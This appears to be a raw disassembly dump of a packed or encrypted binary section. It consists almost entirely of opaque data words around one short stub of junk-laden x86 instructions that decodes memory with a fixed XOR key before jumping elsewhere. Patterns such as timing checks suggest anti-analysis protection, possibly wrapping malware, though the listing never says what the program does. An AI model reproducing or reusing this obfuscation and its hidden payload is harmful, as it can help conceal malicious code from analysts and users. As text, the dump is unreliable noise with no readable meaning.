dd 7BF15C0Bh, 0BE2833Dh, 9D3E0EEAh, 13770EF0h, 49D4D9BCh
dd 0DADBB21Fh, 432ACDB6h, 906104A2h, 1168D6Bh, 8393265Eh
dd 59D7A994h, 88F04231h, 0BC8C4660h, 770EF023h, 0FD76F299h
dd 0D2B36D2Bh, 0F66FB93Eh, 4A770EF0h, 74A2219Fh, 986D5680h
dd 4F7Fh, 5E01F800h, 55BAA0D9h, 0CF78F494h, 14C21C7h, 0EF0B029h
dd 48A86B77h, 0E6C659F8h, 3FAA8B61h, 0AA51D083h, 2F857432h
dd 0A326A647h, 1DB58D4h, 0E3470182h, 770EF06Ah, 0C0A503D6h
dd 1358E33h, 706A135Eh, 60DC68F5h, 315A19D6h, 0D9000000h
dd 836088F0h, 0F0B02901h, 38AD770Eh, 3B4ADD7Eh, 422B4A37h
dd 0E206DE6h, 0B904D377h, 820140C3h, 0C3A0492Ah, 6AE34701h
dd 0D6770EF0h, 641BA503h, 2AA2432Ah, 580CB547h, 0E59D22F5h
dd 40D9712Bh, 0BC770EF0h, 0F066FF29h, 12A4770Eh, 0B70D93E6h
dd 4E077AEh, 42D3B264h, 70EBC3B9h, 62770E82h, 0B1441E42h
dd 0FD93720Ch, 7BF194F4h, 0CAEB8217h, 0A05A1482h, 0E830F88h
dd 0AEFE6D77h, 770E8235h, 0C960DC8Bh, 0ED31F5B4h, 0AF3DC255h
dd 3B777500h, 119A41EFh, 6068FF75h, 0E3B1E5B6h, 7A495FF0h
dd 2C31AEFEh, 3BFF710Bh, 2970F898h, 3713B567h, 710BA29Eh
dd 0D7E877E2h, 0FDE9DC98h, 4E72CE34h, 23061E1Ah, 1BC1936Ah
dd 72000000h, 2AA2432Ah, 0EF08902h, 33675D77h, 0CE648F50h
dd 7C553BC5h, 0E50AED80h, 432AFCE7h, 0F29D2AA2h, 7B6EBAF4h
dd 0B57506B7h, 0C04722F5h, 9867512Ch, 61717B0h, 6BF66571h
dd 0A13F4A65h, 2E732109h, 0BA216F09h, 0FE8D0AD2h, 0DF9B7702h
dd 0E440690Eh, 0CE18CD0h, 0D4DDB26Fh, 80193149h, 0FC7702FEh
dd 9CA09369h, 5B996160h, 37h, 8B6C01E4h, 67E04866h, 0D5770EF0h
dd 761DAA06h, 69123670h, 0B0770EF0h, 926613EFh, 29BCF01Dh
dd 0ECC5A348h, 0CAAC4179h, 14E48921h, 10ECF993h, 1E997Ch
dd 0F0240000h, 0F3F49B89h, 51FE4A64h, 0CF770EF0h, 0E98F5E18h
dd 41128CC0h, 0BAD608DBh, 0EC67DDC1h, 1405Ah, 83F0D900h
dd 6C018865h, 61646489h, 2AF0E38Bh, 2BC1A243h, 15E01A8h
dd 0F188628Ch, 0DBDCBCD3h, 895E565Dh, 3219986Ch, 9A000000h
dd 886583F0h, 0F0B02901h, 590C770Eh, 4A94C21h, 6C012BA8h
dd 6267618Ah, 7F0EC886h, 1F941099h, 0C6BF442Ah, 6C0172F1h
dd 8B8E6A8Fh, 29h, 6583F02Ah, 0B0290188h, 0AD770EF0h, 0C0882DC0h
dd 1453E85h, 0BF442A82h, 7B145003h, 0CBD3E075h, 9CCCF184h
dd 0F1F073C9h, 0A2432A72h, 0D5CA5304h, 5E972DDBh, 0AC2F61E2h
dd 466088F0h, 0F023BC8Ch, 0F299770Eh, 6D2BFD76h, 640AF798h
dd 0CD580D5Fh, 0F172CE9Bh, 6D568074h, 477F98h, 9A3D0000h
dd 0D2A5F32Ah, 5058C2Dh, 0F04BC8A4h, 1836088h, 0EF0B029h
dd 0E4590C77h, 618A6C01h, 2AD6CD8Bh, 1C3A049h, 8B618A6Ch
dd 7D0833Dh, 84B29869h, 0C6AF9839h, 0DAD7FFF0h, 205AE55Eh
dd 1C000000h, 0A602A749h, 6088F02Dh, 8F6C0183h, 78D08E6Ah
dd 770EF0DFh, 19469FCh, 0A0492A82h, 2A72F1C3h, 6F29A348h
dd 8A36E9ACh, 926EF85Fh, 0E6D1CBAh, 0B93ED677h, 7AC422Fh
dd 0FB2F1745h, 0DA0E0E5Bh, 9BC9F280h, 0A3482AD8h, 0DB64429h
dd 5F2EC85Bh, 365335BEh, 185286BAh, 0CB13717Ah, 770EE7C0h
dd 457E878Ch, 4025996Dh, 9C25F7B0h, 93A1BB31h, 0D2FFFFFEh
dd 0EF0F26Fh, 0F14A4777h, 23BF770Eh, 94770EF0h, 770EF0F7h
dd 0FCAD4322h, 96F3951Eh, 9DAD0Bh, 75770EF1h, 0B70EF0D8h
dd 9129C7B2h, 8C6E1BFCh, 95606567h, 5C1A96F3h, 0C5DA8CCh
dd 395306B5h, 0CDE5038Eh, 0D7AD5638h, 0D47B199h, 0A635AF0Ch
dd 0D61F800Fh, 58B55526h, 302h, 0CE8223F6h, 73119A7Bh
dd 0EDE308EEh, 1D737418h, 8EC2E788h, 0CCADF924h, 3CDCA127h
dd 0B240D5BBh, 1FF65B09h, 0EFABCA9Eh, 68FC25Bh, 0ED8E3E71h
dd 2AA2432Ah, 0BAF4F29Dh, 0CAA6472Bh, 0B6B5BC8Ch, 4B0C7506h
dd 37DFE184h, 575AE1B6h, 0DB8EA71Dh, 28E865B5h, 0B7C27106h
dd 8EA98139h, 4D6EFDEEh, 59D7D8B8h, 1BD5ED78h, 5E50C961h
dd 39AC770Eh, 5E472E43h, 305537BCh, 0BB5227A5h, 58A523Ah
dd 0F5770E5Fh, 0F6526C8Ah, 750624E7h, 1DA24A59h, 0E060D44Bh
dd 0BA3D7141h, 6C26402Fh, 60043DCh, 8DD2B971h, 16EF5782h
dd 0A9E75D73h, 0F28C31C4h, 0E8771038h, 0C5C57106h, 6E8EC65h
dd 3E855071h, 9D702E42h, 0F194F4F9h, 7E7F167Bh, 35C5A86Eh
dd 8B34B0h, 4E21C4E2h, 0B595D3A9h, 6EFEAFA2h, 1781CB9Eh
dd 9E54CD5Dh, 3DA8770Eh, 0A58DF847h, 4F20FC41h, 0F4A320D3h
dd 7B2E690Eh, 0A3743299h, 0F898FFFBh, 0DF40A2F7h, 117B7C13h
dd 5513E974h, 68CBEF5h, 0CBAF0275h, 42235F2Ah, 0F3460AABh
dd 29F19B1Ch
dd 710686ACh, 0F03FF39Eh, 0BADB9141h, 0F15911FCh, 6EFE00EAh
dd 0BEC98356h, 0A4492DD3h, 64426B24h, 76E9F5A3h, 0A8621CEBh
dd 0D44433C5h, 8A68DD63h, 90B83483h, 75116992h, 0C942E6A0h
dd 37710B6Ah, 6A3ED773h, 0D782710Bh, 0B1C2FD48h, 18E0D37Bh
dd 1889D70h, 9D7C0000h, 14E17418h, 8214F9EFh, 0EE866B79h
dd 61369BC9h, 7FBE3458h, 2FBD462Bh, 5331B65Ah, 0C1872CCEh
dd 7014997Ch, 48C16921h, 0B471068Dh, 85F06704h, 0B9914B67h
dd 770EF020h, 64BF40D0h, 833D7BF1h, 0FE50AE2h, 6B7383Fh
dd 6B7DE875h, 0F7B3315Ch, 98D5553h, 3D74E36Fh, 0E6DBADC2h
dd 2312CF9Fh, 91000001h, 1AEFFD02h, 891C7079h, 3B8EC2E7h
dd 0AB3E5253h, 0C5AF3DC6h, 6AB4C1Ah, 9A1BFF42h, 689163F6h
dd 0F9FE9164h, 7CCCCAEBh, 71068DE3h, 0F0D49759h, 0FF4B6785h
dd 7506B6F0h, 65D3B520h, 0CABCABB2h, 20FD8223h, 582D8B38h
dd 862BC8B5h, 0CEE7F3Bh, 0BB6509E7h, 0DDB02901h, 0A10C7106h
dd 27A22ACFh, 0E689DC58h, 33565B39h, 57325A5Bh, 451680C8h
dd 1E4CDE5Dh, 3CC1555Ah, 98311951h, 0E47106CFh, 414CFB71h
dd 82307A3h, 0B06EFE96h, 41D2A725h, 0AF41D4B8h, 0C9B20F2h
dd 9C21F558h, 0E48D4EC8h, 3A6456Eh, 0F35E6331h, 7A7F1075h
dd 21C6A93Ch, 0BD52274Bh, 0BF1D52FEh, 0E5F67997h, 78ABCC28h
dd 0E9B33956h, 611ECEDEh, 0F4590F9Ah, 6E78324h, 98EC4871h
dd 8B886735h, 9091C49h, 0D4AEAF6Ah, 1AE17D5Ah, 0A174D98Fh
dd 80A8621Ch, 770E4907h, 489D3612h, 74E3770Eh, 39DB8E5Dh
dd 0CD5034B0h, 2AC8422Dh, 82B569D9h, 6B165137h, 0DA15354Dh
dd 6675062Eh, 613499F3h, 3D5085Ch, 68000000h, 472A8003h
dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 52C6h
dd 89240489h, 405E0h, 0E8830000h, 24048704h
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 6EAEh
mov [esp], edx
sub esp, 4
mov [esp], ebp
mov ebp, 6085B2Ah
mov ebx, ebp
pop ebp
push 74D2h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebx
xor dword ptr [esp], 6A261256h
pop dword ptr [edx+8]
push ebx
mov ebx, 8
add ebx, edx
xor dword ptr [ebx], 6A261256h
pop ebx
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5439D9
; ---------------------------------------------------------------------------
dw 0FC63h
dd 23205BEh, 38684EACh, 3B89571h, 3060865h, 0E9C38BC5h
dd 13Ch, 4Fh dup(0)
dd 35DBD83h, 0F010603h, 5F584h, 0F536000h, 83h, 850F5F00h
dd 5, 0B7DE8166h, 85C6613Ch, 6032F39h, 0C860F43h, 0F000000h
dd 688h, 840F00h, 0E8000000h, 4, 0ECA5D0F5h, 12E960h, 0FD730000h
dd 44128B25h, 167CDE6h, 0FE3558D7h, 537E3B7Bh, 61D18B66h
dd 60525050h, 0B28FB966h, 61F98B66h, 6060310Fh, 61DE8A61h
dd 448B585Ah, 52500424h, 2CB96660h, 310F610Fh, 8E0F5250h
dd 0
dd 0CE9310Fh, 0C3000000h, 5A382B7Eh, 621C7517h, 5A431400h
dd 8B585A58h, 0A810F00h, 50000000h, 0F616052h, 5A616031h
dd 24448958h, 14E904h, 5A2C0000h, 0D3F37D93h, 0CAE5601Ch
dd 49DC9887h, 0DF72AB62h, 6A58E35Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 88E6C357h
dd 39E78E0Ch, 2D7A322Dh, 1840Fh, 60F80000h, 0F5EFEE81h
dd 6060760Eh, 86D88161h, 6159DC15h, 0C9B5FF61h, 60060328h
dd 3850Fh, 0D2800000h, 0DFB70F5Eh, 0BC858D61h, 0E9060673h
dd 0Bh, 7016EEE0h, 25CB0F75h, 0FF8CB289h, 57006AD0h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 665760D8h, 0F495F381h, 40B8665Eh, 89F8618Fh, 3110185h
dd 0EC8A6006h, 0C64AE081h, 0C6611C8Eh, 32F3985h, 6A5006h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0BDFBA2C3h, 0A92B75C4h, 0FBA60FCh, 6623FC09h, 431BCB81h
dd 8ECF6861h, 5250891Ch, 158F0Fh, 10E90000h, 0C6000000h
dd 62EE745Fh, 6C6722EAh, 249282DAh, 0F366DD2h, 0E9525031h
dd 0Eh, 1959FF0Fh, 67785D0Ah, 0F7D77642h, 310F4792h, 310F5250h
dd 585A585Ah, 3481585Ah, 0B1239924h, 9E921h, 26010000h
dd 0E1AF402Bh, 0FF18FAF6h, 328C9B5h, 858DFC06h, 60673BCh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CC35141h
dd 5CBA9A35h, 0F4D7221h, 0A80h, 5B536000h, 840Fh, 0F610000h
dd 789h, 0CA806000h, 6158539Dh, 6AD0FFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 8602FCC3h
dd 81666008h, 61682BCFh, 0BE9h, 3BE48700h, 0F037CB91h
dd 0C1D0A59Eh, 0C558589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 7C0528C3h, 0FF35BB89h
dd 0B0849E68h, 6660609Bh, 8E9D68Bh, 59000000h, 2E0ED305h
dd 616069CEh, 8161F98Bh, 23912404h, 0E9F854DFh, 0Bh, 847A7304h
dd 91750A21h, 0FF850BFDh, 328C9B5h, 0C840F06h, 0F000000h
dd 681h, 8C0F00h, 8D000000h, 673BC85h, 12E906h, 120D0000h
dd 69DB7146h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h, 8E9D0FFh
dd 18000000h, 95BE8C26h, 8954F759h, 31D8985h, 14860F06h
dd 60000000h, 9E9h, 0B1A62900h, 0E0D0DE1Ch, 0BF6677D8h
dd 0C661793Dh, 32F3985h, 13E95006h, 49000000h, 0BC435CFCh
dd 0BFE32B37h, 0A12949D5h, 0FF670B07h, 0F60FDA1h, 28Dh
dd 0E9D38B00h, 14h, 0A2C0E6E1h, 9FA25DA4h, 48032F29h, 3DBFBB6Bh
dd 0A2ABB2AEh, 4E861h, 0DC560000h, 5250979Ch, 13E9h, 3AB7BE00h
dd 2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh, 0FE9310Fh
dd 32000000h, 75159D41h, 81579E12h, 399E1C71h, 585A68E6h
dd 0F8B96050h, 660C0601h, 61EE90BFh, 424448Bh, 0E9D08B60h
dd 0Ch, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh, 60008B61h, 0B9665250h
dd 310F0B38h, 585A5E53h, 0CB42B966h, 24448961h, 0F525004h
dd 686h, 0F525000h, 0F585A31h, 0F525031h, 8Bh, 50310F00h
dd 5A310F52h, 5A585A58h, 8A0F5858h, 0Fh, 0AE9h, 94207600h
dd 0C74650FDh, 0FF46196Dh, 31359B5h, 1850F06h, 0F8000000h
dd 38A7858Dh, 0FFF50603h, 0CE9D0h, 763D0000h, 0FB658A58h
dd 9331660Eh, 85890302h, 603144Dh, 12880Fh, 0DE90000h
dd 0B8000000h, 0B9943CF3h, 0DFB5917Dh, 0B2AA33BBh, 179E9h
dd 0DE900h, 0B71C0000h, 0B026C4D8h, 3F3D560Ch, 952CF271h
dd 0EE9h, 0B1032600h, 0ABB93A57h, 67D87023h, 500B38E2h
dd 7DBB6660h, 6E907h, 7D490000h, 848AA61h, 6A9561h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0FC24C3C3h, 5E9h, 0C2E1C300h, 0EC8BA0EEh, 0FCC483F5h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h
dd 0FE6BEBFh, 1088h, 0BE900h, 0B2810000h, 57A862F4h, 58A47F9Bh
dd 0EE960B8h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch, 0E11BAF9Ah
dd 0E82Ah, 815A0000h, 86C16EAh, 0FC45C706h, 0
dd 35DBA83h, 0F010603h, 9884h, 6A5200h, 92FF0F6Ah, 6031101h
dd 9C82895Ah, 8D060865h, 865A09Ah, 3C75206h, 128h, 92FF5053h
dd 6030C55h, 9A8D525Ah, 60865A0h, 9CB2FF53h, 0FF060865h
dd 3144D92h, 0C00B5A06h, 9A8D5074h, 60865A0h, 33247B8Dh
dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h
dd 752B3934h, 0A1BA8D0Ch, 8B060306h, 0A4F30C4Dh, 52AAC032h
dd 8D0875FFh, 306A182h, 92FF5006h, 6031D89h, 75C00B5Ah
dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
dd 0B9F56000h, 3E053279h, 0D28BFC61h, 6DEA8D8Dh, 7E80608h
dd 16000000h, 8B310E8Ch, 0FB8B70AEh, 0D18D895Fh, 6A060331h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 112BC352h, 0FE85929h, 0B1000000h, 11271CA8h
dd 5E3F64EDh, 39C177C3h, 0B5896777h, 6031E69h, 0E185C75Fh
dd 0F8060301h, 8B00005Bh, 3134585h, 0BD85C706h, 60321h
dd 60000000h, 2418D8Bh, 8B0F0603h, 6, 381BD89h, 0FF610603h
dd 321ADB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0DE8AF58h, 0FD000000h, 0F24D6A1Ch
dd 0A6AC3A10h, 17DE4D1Eh, 319D8B60h, 6006031Fh, 0E85B6161h
dd 0Fh, 0CF818D6Bh, 0D57C516Dh, 8483CCC8h, 1DB5248h, 326CD8Dh
dd 95FF5E06h, 6032691h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0CEC35242h, 29BD89C0h, 6A060326h, 0B995FF00h
dd 8B06031Fh, 0DB6BEBC0h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh
dd 0C6D135CDh, 637B0625h, 28048559h, 0B651AA7h, 4082700Dh
dd 70E691DCh, 0BCC08025h, 0AE10C602h, 7B8484EFh, 9FA49419h
dd 0E9F098FBh, 20FC8D7Ch, 2C30881Ah, 584D4805h, 2925AB6Bh
dd 7775915h, 3C8EB3B1h, 94EB05E1h, 3CD3131Eh, 276B84F4h
dd 14BB2276h, 63E6029Ch, 1AAD7FDAh, 66E9D5D3h, 60000002h
dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 6031359h, 73BC858Dh
dd 0D0FF0606h, 93D8589h, 0FE8B0603h, 680CEFC1h, 20060000h
dd 26A006Ah, 0D6857h, 95FF0001h, 603093Dh, 32E9h, 3985C600h
dd 5606032Fh, 0C530DF68h, 0C9B5FFA9h, 8D060328h, 673BC85h
dd 89D0FF06h, 32C9185h, 71858D06h, 50060323h, 56A406Ah
dd 9195FF56h, 6106032Ch, 0C3h, 2 dup(0)
dd 0D48B5200h, 8428B60h, 6EDD8589h, 428B0608h, 0D585890Ch
dd 8B06086Eh, 85891042h, 6086ED9h, 6F13B58Dh, 858D0608h
dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 86EDDB5h, 0D5858B06h
dd 8306086Eh, 86ED9BDh, 840F0006h, 7, 2E90689h, 88000000h
dd 0CF06h, 0
dd 8B520000h, 428B60D4h, 0DD858908h, 8D06086Eh, 86F64B5h
dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 86EDD85h, 4C206h
dd 6EDD858Bh, 8B0608h, 6EDD8589h, 0CF0608h, 60000000h
dd 6F3AB589h, 85890608h, 6086F36h, 0B89858Dh, 408B0603h
dd 73858944h, 8D06086Fh, 86FA9B5h, 35858D06h, 0FF005B7Eh
dd 858B61D0h, 6086F3Ah, 369D8BC3h, 0F06086Fh, 33C43B7h
dd 785B8BD8h, 6F369D03h, 738B0608h, 36B50324h, 5606086Fh
dd 8B207B8Bh, 0BD031C73h, 6086F36h, 6F36B503h, 83FC0608h
dd 8B41FFC9h, 86F3A9Dh, 3178B06h, 86F3695h, 4C78306h, 0C084028Ah
dd 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh, 0FFFFE7E9h
dd 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh, 386048Bh
dd 86F3685h, 3A858906h, 8B06086Fh, 8BCE8BF0h, 73BD81C1h
dd 6086Fh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h, 8E900h
dd 0E8C10000h, 3FF82512h, 0BD8B0000h, 6086F73h, 6070C83h
dd 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 73BD8100h, 6086Fh
dd 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h, 0E8C10000h
dd 0FFF82509h, 2D007Fh, 83400000h, 0F70608h, 80h, 1E840Fh
dd 0BD810000h, 6086F73h, 0C0300000h, 0E840Fh, 0F8250000h
dd 8B00003Fh, 60000080h, 60883C0h, 0E1858DCFh, 8906086Eh
dd 3015585h, 77858D06h, 8906086Fh, 3237D85h, 3E858D06h
dd 8906086Fh, 303CD85h, 0FA13C806h, 964A0FE8h, 63AE62A4h
dd 7771A1F0h, 0B350204h, 0DA70D878h, 9985C7FEh, 0E7857883h
dd 0AC241B31h, 0D8787546h, 4B884B22h, 0DB33672Fh, 0DA2FB73Eh
dd 8B551931h, 0DA350A3Eh, 0BB6E4631h, 0DA3695D8h, 0DA337831h
dd 4DE1C831h, 0D6D3DBDh, 0C6B08FB2h, 0D5351F32h, 0DA3596B5h
dd 0D5551031h, 0DA3523BFh, 72D21031h, 0BB227739h, 0D9BC8D6Bh
dd 5B533231h, 5758B6E8h, 0D24485B4h, 9F8C2037h, 6565B3DDh
dd 0CA4B16DCh, 8F35A2A1h, 0DA3567D9h, 19681231h, 0FE59906Ch
dd 0FE710D35h, 0DA355E35h, 19606631h, 0E3DD8DEAh, 87F44889h
dd 0DA3562D9h, 0E3CFE331h, 0BC5D120Bh, 22B7EB0h, 31B0CB6Fh
dd 0B0332B41h, 0D9DDC431h, 0FA35C831h, 5368A76Ch, 5B31165Dh
dd 0C0313D75h, 9F358C31h, 0CB1D8564h, 9C02D2B9h, 8562013Dh
dd 0DA5F5861h, 0DA368C64h, 87153231h, 0B6BC44F2h, 9EB48815h
dd 0DA2E4215h, 8F702331h, 56CA0DF2h, 0EEEB10B0h, 8BF5DD55h
dd 4FCA5444h, 0DC361AA0h, 0DA30043Eh, 5B534631h, 3310AFC3h
dd 0DA359121h, 4E1F827Dh, 0AAE5EA0Eh, 542F44DEh, 81503374h
dd 0D3DD4CBAh, 5E354631h, 0BB5E1D1Ah, 0F5EA1879h, 0DA33413Eh
dd 5C3A6431h, 0DA353231h, 0E3889A6Eh, 0DA338F21h, 67B64F44h
dd 0DC36322Ch, 8A2CE531h, 62F54362h, 0DA35604Bh, 0CD40B7B8h
dd 47B81F32h, 0DC303CA0h, 826E95CEh, 0CB289EB2h, 0AE359732h
dd 62669826h, 0DA35604Bh, 0CD40B7B8h, 47B81F32h, 0DC3021B1h
dd 826E95CEh, 6B3FC2B0h, 0DA5FFA7Ah, 0DA362061h, 82156431h
dd 9EBC6AF2h, 9EB41D15h, 0DA298815h, 8A754631h, 5DA924F2h
dd 0B7306A3Bh, 83629D6Eh, 51E5D33Eh, 29A8BFF1h, 0D5331141h
dd 593A4486h, 0DA354635h, 59849C57h, 834F14BCh, 6453CE39h
dd 0ACA29BFh, 0D5F539C9h, 0DA3590B5h, 8C35E631h, 0DA3545D9h
dd 196B0331h, 0FE41186Fh, 0FE714935h, 0DA357D35h, 19637431h
dd 3FD73B76h, 5A3A1885h, 0DA35463Ch, 0DA352BD8h, 0E94C8B31h
dd 62ACADD1h, 0C6A8E9CBh, 0D533317Ch, 0D98DEF8Eh, 0B0358C31h
dd 0D9DD1731h, 0FA352331h, 536C5268h, 5B31EC7Dh, 0CF314075h
dd 9B353231h, 473DA60h, 4353657h, 0DA5FA5CEh, 0DA36CB64h
dd 87159131h, 0B6BC95F2h, 9EB46015h, 0DA223615h, 8F701931h
dd 0BE359EF2h, 36D5FC11h, 47B84D3Ch, 0DC3DE1CAh, 0DA35C0D8h
dd 8DEFF31h, 2E80968Bh, 0A0B0946Eh, 26338468h, 5B5396CEh
dd 0D14ECDDBh, 0ABB19EF1h, 5B35C831h, 9D870BC7h, 0C6A8BF4Eh
dd 0BC331A7Ch, 0DB8D5FBAh, 0B0354631h, 0D9DD7431h, 0FA359131h
dd 536A0B6Eh, 5B31404Dh, 0C1311675h, 9D351931h, 0B7DF4F66h
dd 8490C28Fh, 0CEDCEA98h, 87359131h, 4D38D84Ah, 409B93Eh
dd 0C4A57F41h, 87485406h, 25182BF0h, 88352CD2h, 0DA3520D9h
dd 196FB131h, 0FE61416Bh, 0FE71E535h, 0DA352535h, 19675B31h
dd 2FE636CAh, 0AB35DBBCh, 0DA5F2539h, 0DA367967h, 8415C831h
dd 0AEBC3AF2h, 9EB43615h, 0DA221D15h, 8C738C31h, 0D39682F2h
dd 4EDFA277h, 573CDE17h, 0D26CB2B4h, 3CB40437h, 0E0E2ED0Ah
dd 0D28BFBB0h, 25549F0Eh, 0D5F54DE1h, 0DA35B5B5h, 8F35FB31h
dd 0DA35CBD9h, 19684431h, 0FE59BB6Ch, 0FE719835h, 0DA359735h
dd 19600331h, 704148B2h, 96F2BEDCh, 0DA35DCD8h, 0D680731h
dd 8774C035h, 43282D0Ch, 3655C171h, 7DD99E3Eh, 0C6A8AE5Fh
dd 0B033927Ch, 0D9DD9D31h, 0FA356431h, 5368F16Ch, 5B313D5Dh
dd 0CC31A875h, 9F354631h, 4A0CE064h, 0DA36299Bh, 0DA5FC831h
dd 0DA368C64h, 87153231h, 0B6BC44F2h, 9EB48815h, 0DA2D4215h
dd 8F702331h, 0DAF3E3F2h, 2BB45EB9h, 803BE9D4h, 5E3AD1CEh
dd 0DA351932h, 99F64EB1h, 577FAFB1h, 0D245CA8Ch, 0D9B81C37h
dd 6233C044h, 507E384Ch, 0F244B702h, 151E1F32h, 0CA47B8F0h
dd 0D8DC3DE1h, 31DA35C0h, 8B08DEFFh, 6E2E8096h, 68A0B094h
dd 83263384h, 0A4F305E9h, 0F88BC08Bh, 0BE66C38Bh, 0C08B8D34h
dd 0DE5ABF66h, 1039BD83h, 75000603h, 1DBD8309h, 60311h
dd 53501974h, 7AB8C08Bh, 89000004h, 3239185h, 0F89D8D06h
dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 7AB85350h
dd 89000004h, 3239185h, 999D8D06h, 0FF0605ADh, 81585BD3h
dd 729CC7E9h, 56006A35h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0AC67E284h, 0C08B8D3Dh, 766D8D8Dh
dd 6A0608h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0EE6416C3h, 0BD8B2912h, 6030A79h, 31D18D89h
dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 83A65BC3h, 0F65802E6h, 29284B13h, 3015195h
dd 0E185C706h, 0E0060301h, 8B000067h, 30C5DB5h, 0BD85C706h
dd 60321h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0DC88C355h, 0ADB5FFD9h, 6A060321h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8B31C350h, 9195FFF1h, 66060326h, 6AD98Bh
dd 1FB995FFh, 0C08B0603h, 0AF0A6BEBh, 0F0194F0Bh, 0FE326960h
dd 0ACB5CCDAh, 2FE754ABh, 9C552BB1h, 78059C8Dh, 0CC93BB7Fh
dd 0DCE35A9Ch, 0AE1A962Ah, 2811611h, 0FA091F99h, 75BEEC01h
dd 0D93880EDh, 51B6BF6Eh, 26094397h, 0E740B3A3h, 3633870Bh
dd 6AC8539Eh, 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0B50A61DDh
dd 303F767Ah, 0AEC827DDh, 92BD1157h, 0FE972645h, 0DE865h
dd 1B410000h, 0F32EED43h, 9D3BF05Ah, 8BB9B657h, 331E185h
dd 8E85906h, 0A8000000h, 34C277AEh, 0F5CCB08h, 815AD1B7h
dd 58E7C1h, 870F5600h, 2, 685FC18Bh, 0
dd 8850Fh, 0F600000h, 0F380D7BFh, 665E612Fh, 1C8BC18Bh
dd 7E931h, 9D170000h, 45F5FF1Bh, 2AEB818Fh, 0F674665h
dd 385h, 0CCE08000h, 1B6CF381h, 0BA664B88h, 0C381313Fh
dd 4F85B24Fh, 1AF1B589h, 1C890603h, 0FBB70F31h, 0F9BF0F56h
dd 64EE815Fh, 667FAA53h, 0F454C081h, 5360C681h, 99BA7FAAh
dd 817F41FBh, 0FFA7C8FEh, 9F850FFFh, 31FFFFFFh, 32A699Dh
dd 0CE806h, 9B490000h, 0FD68B939h, 7C2F3CDCh, 0BF66FC1Bh
dd 815A25EBh, 6CCCC2h, 0EF816600h, 0C9335D78h, 0FFF0B70Fh
dd 8D891134h, 6031F39h, 0CE858h, 0FEB40000h, 0E80600E4h
dd 62301E73h, 0CB81134Ch, 422C415h, 1AC0815Eh, 0E9616F0Fh
dd 7, 0B7C94821h, 81954DDFh, 0A8F3B4E8h, 9BD294Ch, 81060314h
dd 0CF4693F0h, 899D0950h, 89060302h, 13E90A04h, 5000000h
dd 4D44CF62h, 477B9A1Ch, 5E314BDAh, 0DF125C9Dh, 0E981373Eh
dd 355EAB6Ah, 9E9h, 0EDF91D00h, 0FA95B9BCh, 0C1813605h
dd 355EAB66h, 0B1DFF781h, 0F98131AEh, 0FFFF93E8h, 0FF6D850Fh
dd 0BF66FFFFh, 8D8D8E28h, 6087937h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 70C35242h, 4E77DA2Bh, 0BB66F801h
dd 0C281F2F6h, 676CB1A8h, 31D18D89h, 6A0603h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 966262C3h
dd 81C78166h, 0E185C704h, 34060301h, 6A000073h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0E936C357h, 13h, 129E67B4h, 4B08B4F9h, 0ADD0410Fh, 592D1695h
dd 0C7ACC91Fh, 321BD85h, 6, 0C6816600h, 0B5FFE8FDh, 6031CF1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 92C35141h
dd 5C930BC3h, 97EB8048h, 269195FFh, 9D0B0603h, 60322F1h
dd 95FF006Ah, 6031FB9h, 0DEBC08Bh, 1D503ADCh, 3D21215Dh
